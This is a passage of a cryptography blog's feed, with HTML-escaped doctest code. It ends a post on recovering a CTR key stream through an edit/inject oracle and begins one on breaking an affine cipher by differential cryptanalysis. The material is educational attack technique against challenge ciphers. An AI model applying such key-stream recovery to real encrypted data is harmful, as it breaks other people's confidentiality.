&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pknown_offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt; &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ctext2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inject_pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret_cfg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;pknown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In essential we use the partial known plaintext as a window to see a piece of the key stream and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;inject_pad&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;em&gt;move&lt;/em&gt; the window to the right and recover more of it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 80%;" class='' align='middle' data='/img/matasano/ctr-edit-slicing-window.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The last key stream chunk recovered may contain bytes that does not belong to the original key stream.&lt;/p&gt;
&lt;p&gt;We are not interested in those:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;nlast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pknown_offset&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;nlast&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][:&lt;/span&gt;&lt;span class="n"&gt;nlast&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, from the key stream we can break the ciphering and recover the plaintext (except the begin):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;recoverd_ptext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pknown_offset&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ptext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pknown_offset&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;recoverd_ptext&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A similar attack can be done with a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;delete&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; primitive: instead of injecting padding we remove plaintext therefor moving the known plaintext window to the left instead to the right.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/05/08/CTR-Edit-Inject-Plaintext-Attacks.html" rel="alternate" type="text/html" title="CTR Edit/Inject Plaintext Attacks"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="CTR" label="CTR"/>
    <category term="counter" label="counter"/>
    <category term="forgery" label="forgery"/>
    <published>2019-05-08T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/03/20/Affine-Ciphers.html</id>
    <title>Affine Cipher</title>
    <updated>2019-03-20T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A &lt;em&gt;linear&lt;/em&gt; cipher like the Hill Cipher is &lt;a href="/articles/2019/01/02/Break-Hill-Cipher-with-a-Known-Plaintext-Attack.html"&gt;vulnerable&lt;/a&gt; to a known plaintext attack: just resolve a set of linear equations and get the secret key.&lt;/p&gt;
&lt;p&gt;An &lt;em&gt;affine&lt;/em&gt; cipher is a little harder to break, however it could be vulnerable to a &lt;em&gt;differential&lt;/em&gt; attack. &lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Formerly, an &lt;em&gt;affine&lt;/em&gt; encryption looks like this&lt;/p&gt;
$$ A p_i + B = c_i\quad(\textrm{mod } m)$$
&lt;p&gt;and the decryption like this:&lt;/p&gt;
$$ p_i = [A]^{-1} (c_i - B)\quad(\textrm{mod } m)$$
&lt;p&gt;where \(A\) and \(B\) are secret and unknown to the attacker but we can assume that have known shapes of \(n\textrm{x}n\) and \(n\textrm{x}1\) respectively.&lt;/p&gt;
&lt;h2 id="differential-cryptanalysis"&gt;Differential cryptanalysis&lt;/h2&gt;
&lt;p&gt;Consider the following ciphertext and the partial known plaintext:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;asbytes&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;np&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;251&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;asbytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x93&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;&lt;/span&gt;&lt;span class="se"&gt;\xd3&lt;/span&gt;&lt;span class="s1"&gt;)&lt;/span&gt;&lt;span class="se"&gt;\x97\xb0\xa8\xa6\xf1&lt;/span&gt;&lt;span class="s1"&gt;7@,f&lt;/span&gt;&lt;span class="se"&gt;\xb2\x17&lt;/span&gt;&lt;span class="s1"&gt;LsNs&lt;/span&gt;&lt;span class="se"&gt;\xe0\xd7&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toarray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kplaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;asbytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;..fi....ra..fo..at....&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toarray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From there we can take two plaintexts \(p_i\) and \(p_j\) with their associated ciphertexts \(c_i\) and \(c_j\).&lt;/p&gt;
$$ A p_i + B = c_i\quad(\textrm{mod } m)$$
$$ A p_j + B = c_j\quad(\textrm{mod } m)$$
&lt;p&gt;If we &lt;em&gt;substract&lt;/em&gt; both equations we obtain a &lt;em&gt;linear&lt;/em&gt; system like the Hill Cipher:&lt;/p&gt;
$$
A (p_i - p_j) = (c_i - c_j)\quad(\textrm{mod } m)
$$
&lt;p&gt;&lt;label for='CktlZXAgaW4gbWluZCB0aGUgYWZmaW5lIHRyYW5zZm9ybWF0aW9uIGlzIGEgKmJsb2NrIGNpcGhlciogd2l0aCBibG9ja3MKb2YgYG5gey5tYXRoamF4fSBieXRlcy4KU28gdGhlIHBsYWludGV4dC9jaXBoZXJ0ZXh0IHBhaXJzICoqbXVzdCoqIGJlIGBuYHsubWF0aGpheH0tYnl0ZXMgKmFsaWduZWQqCih0aGV5ICoqbXVzdCoqIGNvbWUgZnJvbSBwb3NpdGlvbnMgbXVsdGlwbGUgb2YgYG5gey5tYXRoamF4fSkuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CktlZXAgaW4gbWluZCB0aGUgYWZmaW5lIHRyYW5zZm9ybWF0aW9uIGlzIGEgKmJsb2NrIGNpcGhlciogd2l0aCBibG9ja3MKb2YgYG5gey5tYXRoamF4fSBieXRlcy4KU28gdGhlIHBsYWludGV4dC9jaXBoZXJ0ZXh0IHBhaXJzICoqbXVzdCoqIGJlIGBuYHsubWF0aGpheH0tYnl0ZXMgKmFsaWduZWQqCih0aGV5ICoqbXVzdCoqIGNvbWUgZnJvbSBwb3NpdGlvbnMgbXVsdGlwbGUgb2YgYG5gey5tYXRoamF4fSkuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Keep in mind the affine transformation is a &lt;em&gt;block cipher&lt;/em&gt; with blocks of \(n\) bytes. So the plaintext/ciphertext pairs &lt;strong&gt;must&lt;/strong&gt; be \(n\)-bytes &lt;em&gt;aligned&lt;/em&gt; (they &lt;strong&gt;must&lt;/strong&gt; come from positions multiple of \(n\)).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In order to break an affine cipher we need \(2n\) independent plaintext-ciphertext pairs (for a linear cipher we need just \(n\))&lt;/p&gt;
&lt;p&gt;Here is the first two pairs and the first difference:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c11&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kplaintext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kplaintext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dp1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p11&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dc1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c11&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;c12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here we build the second difference:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c21&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kplaintext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c22&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kplaintext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dp2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p21&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p22&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dc2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c21&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;c22&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Stacking all this together we build the difference matrices for the plaintexts and ciphertexts of shapes \(n\textrm{x}n\).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hstack&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;dp1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dp2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hstack&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;dc1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dc2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Remembering that the linear cipher is:&lt;/p&gt;
$$ A\ dP = dC \quad(\textrm{mod } m)$$
&lt;p&gt;From here we can obtain \(A\):&lt;/p&gt;
$$ A = dC\ [dP]^{-1} \quad(\textrm{mod } m)$$
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.mod&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;inv_matrix&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;idP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inv_matrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt; &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;191&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inv_matrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iA&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;  &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;161&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Using one of the plaintext-ciphertext pairs we can obtain the remaining unknown value: the \(B\) vector.&lt;/p&gt;
$$ B = c - A p \quad(\textrm{mod } m)$$
